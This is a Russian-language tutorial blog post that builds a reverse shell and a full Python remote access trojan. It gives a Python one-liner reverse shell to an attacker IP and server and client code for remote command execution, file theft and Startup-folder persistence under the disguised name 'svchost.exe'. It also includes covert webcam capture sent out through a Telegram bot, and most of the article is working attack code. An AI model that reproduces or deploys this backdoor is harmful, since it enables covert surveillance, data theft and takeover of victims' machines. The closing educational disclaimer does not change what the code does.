Чтобы получить контроль над скомпрометированной системой, злоумышленник обычно стремится получить доступ к интерактивной оболочке для выполнения произвольной команды. С таким доступом они могут попытаться повысить свои привилегии, чтобы получить полный контроль над операционной системой. Однако большинство систем находятся за брандмауэрами, и прямые подключения к удаленной оболочке невозможны. Одним из методов, используемых для обхода этого ограничения, является reverse shell.
Reverse Shell (или Reverse TCP, или connect-back, или обратное подключение) — это схема взаимодействия с удалённым компьютером. При её использовании нужно, чтобы атакующий сначала запустил на своей машине сервер, при этом целевая машина будет играть роль клиента, который подключается к этому серверу, после чего атакующий получает доступ к оболочке целевого компьютера.
Основной причиной, по которой злоумышленники часто используют обратные оболочки, является то, как настроено большинство брандмауэров. Атакованные серверы обычно разрешают соединения только через определенные порты. Например, выделенный веб-сервер будет принимать подключения только через порты 80 и 443. Это означает, что на атакованном сервере невозможно установить прослушиватель.
С другой стороны, брандмауэры обычно вообще не ограничивают исходящие соединения. Поэтому злоумышленник может установить сервер на своей машине и создать обратное соединение. Все что нужно – это машина имеющая статический IP-адрес, открытый порт и инструмент, такой как netcat, для создания слушателя и привязки к нему доступа оболочки.
Netcat — утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.
С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.
Что можно сделать с помощью netcat:
- Сканировать порты;
- Перенаправлять порты;
- Производить сбор баннеров сервисов;
- Слушать порт (биндить для обратного соединения);
- Скачивать и закачивать файлы;
- Выводить содержимое raw HTTP;
Вместо netcat, мы будем использовать собственный клиент-сервер на питоне, но прежде, чем перейдем к написанию такого софта, стоит ознакомится с примера создания reverse shell и их использованием в связке с netcat.
Создать обратные оболочки очень просто, используя разные инструменты и языки. Во-первых, вам нужен слушатель на вашей локальной машине с публичным IP. На компьютере с Linux все, что вам нужно, это следующая команда netcat:
nc -nlvp 1337
И сам реверс шел на пайтоне:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Внушительный список шелов на разных языках вы можете найти в репозитории гитхаба:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
Создание программы
Сервер
Начнем с создания сервера. Нам понадобиться библиотека socket, она уже предустановлена в питоне поэтому никаких других библиотек не понадобится.
Импортируем библиотеки и создаем ключевую переменную:
import socket
import sys
HOST = 'IP' # Айпи атакующего (Ваш)
s = socket.socket(socket.AF_INET, sock
et.SOCK_STREAM)
Теперь создадим простенькую функцию, в которой будем проверять введен ли порт для прослушивания:
# Проверка был ли введен порт для прослушивания
try:
PORT = int(sys.argv[1])
except Exception as ex:
print('Usage: python3 reverse_shell_server.py <port>\n' + str(ex))
sys.exit(1)
Если введена команда python3 reverse_shell_server.py, то мы выведем сообщение о том, что порт не был указан:
Usage: python3 reverse_shell_server.py <port>
Главная функция в которой будет обработчик команд:
def main():
# Ожидание подключения
s.bind((HOST, PORT))
s.listen(10)
print('RSBF server listening on port {}...'.format(PORT))
# Принятие подключения
conn, _ = s.accept()
Обработчик команд:
# Обработчик команд
while True:
# Переменная с командой
cmd = input('RSBF> ').rstrip()
# Если команда ничему не равна - продолжаем цикл
if cmd == '':
continue
# Отправляем команды клиенту
conn.send(bytes(cmd, encoding="utf-8", errors="ignore"))
# Останавливаем сервер
if cmd == 'exitrat':
s.close()
sys.exit(0)
# Функция загрузки файлов
if cmd == "downloadfile":
# Имя файла в который будут записаны байты
f = open("FILENAME", "wb")
while True:
# Получаем байты
data = conn.recv(4096)
if not data:
break
# Записываем байты в файл
f.write(data)
f.close()
print('Done sending\n')
# Переменная с ответом от сервера
data = conn.recv(4096)
print(str(data, encoding="utf-8", errors="ignore"))
В конце фала пишем это:
if __name__ == '__main__':
main()
Таким образом мы запустим функцию main.
Клиент
Нужные переменные и библиотеки:
import os
import socket
import subprocess
from time import sleep
# Айпи атакующего
HOST = 'IP'
# PПорт на который клиент будет подключатся
PORT = 9999
s = socket.socket()
Напишем небольшую функцию, которая будет помещать наш скрипт в автозагрузку:
def auto_run():
# Имя скомпилированного файла
filename = "program54.exe"
# Имя пользователя Windows
username = os.getlogin()
# Путь к папке с автозагрузкой
startup = (r'C:/Users/' + username + r'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/')
# Проверка существует ли файл в автозагрузке
if os.path.exists(str(startup + r'svchost.exe')) == True:
# Отправляем сообщение на сервер
s.send(bytes("\nRAT already at startup folder\n", encoding="utf-8", errors="ignore"))
else:
os.system("copy " + filename + " " + '"' + startup + '"' + r'svchost.exe')
# Отправляем сообщение на сервер
s.send(bytes("\nRAT added at startup folder\n", encoding="utf-8", errors="ignore"))
Если файл уже находится в автозагрузке, то на сервер придет сообщение:
RAT already at startup folder
Если же файл добавился в автозагрузку:
RAT added at startup folder
Функция подключение к серверу:
# Функция подключения
def main():
try:
s.connect((HOST, PORT))
session()
except:
sleep(500)
s.connect((HOST, PORT))
session()
s.connect((HOST, PORT)) – подключает сокет к айпи и порту который мы указали раннее.
session() – запустит функцию которую мы сейчас напишем.
# Обработчик команд
def session():
while True:
data = s.recv(1024)
cmd = str(data, encoding="utf-8", errors="ignore")
if cmd == 'shutdownrat':
s.close()
exit(0)
Основа обработчика готова, теперь нужно добавить команд и исключений к ним же. Команды будут выглядеть следующим образом:
If cmd == ‘название_команды’
Функция которую вы хотите выполнять
s.send(bytes(вывод функции, encoding=”utf-8″, errors=”ignore”))
# AUTORUN
elif cmd == "autorun":
auto_run()
# CD
elif cmd[:2] == "cd":
try:
# Отправка аргументов команды в os.chdir
os.chdir(data[3:])
pwd = os.getcwd()
s.send(bytes(pwd, encoding="utf-8", errors="ignore"))
except Exception as ex:
s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))
# PWD
elif cmd == "pwd":
try:
# Переменная с текущей директорией
pwd = os.getcwd()
s.send(bytes(pwd, encoding="utf-8", errors="ignore"))
except Exception as ex:
s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))
Теперь сделаем универсальную функцию которая будет брать команду и выполнять ее, дабы не писать кучу elif:
# Если длина команды > 0, посылаем ее в консоль subprocess
elif len(cmd) > 0:
try:
command = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE,
stdin=subprocess.PIPE, stderr=subprocess.PIPE)
# Переменная с ответом от subprocess
output_byte = command.stdout.read() + command.stderr.read()
# Конвертируем output_byte в строку
output_str = str(output_byte, "utf-8", errors="ignore")
# Отправляем output_str на сервер
s.send(bytes(output_str, encoding="utf-8", errors="ignore"))
except Exception as ex:
s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))
Функция скачивания файлов:
# GETFILE
elif cmd == "getfile":
try:
# Имя файла для отправки
file_to_send = "FILENAME"
# Открытие файла
f = open(file_to_send, "rb")
# Отправка файла
data_to_send = f.read()
s.send(data_to_send)
f.close()
s.send(bytes("\nFile has been sent\n" + "\n", encoding="utf-8", errors="ignore"))
except Exception as ex:
s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))
Вместо одного файла вы можете сделать функцию которая соберет все txt файлы на рабочем столе в архив и уже его отправит вам, но я это показывать не буду, вместо этого мы сделаем еще одну команду которая будет POST запросом слать нам фото с вебкамеры в телеграм бота:
from requests import post
def web_cam():
bot_token = "ТОКЕН БОТА"
chat_id = "ВАШ ТЕЛЕГАРАМ АЙДИ"
try:
camera_port = 0
cap = VideoCapture(camera_port, CAP_DSHOW)
for i in range(30):
cap.read()
ret, frame = cap.read()
imwrite(r"C:\Windows\Temp\screen.png", frame)
cap.release()
destroyAllWindows()
photo = open(r"C:\Windows\Temp\screen.png", 'rb')
files = {'document': photo}
post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id, files=files)
photo.close()
os.system(r"del C:\Windows\Temp\screen.png")
except Exception as ex:
s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))
Ну и в обработчике команд это будет выглядеть следующим образом:
elif cmd == "webcam":
try:
web_cam()
pwd = os.getcwd()
s.send(bytes(pwd, encoding="utf-8", errors="ignore"))
except Exception as ex:
s.send(bytes("Error:\n" + str(ex) + "\n", encoding="utf-8", errors="ignore"))
В конце фала пишем это:
if __name__ == '__main__':
main()
Таким образом мы запустим функцию main.
Заключение
Теперь ты знаешь как написать не только хитрый однострочик но и полноценный бэкдор который передоставит управление машиной. Думаю, ты уже ощущаешь невероятную мощь и готов к экспериментам. Желаю удачи с ними!
Вес скомпилированного ехе без управления вебкамерой примерно 9 мегабайт, весь проект вы можете скачать тут:
https://github.com/f4rber/RSBF
Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.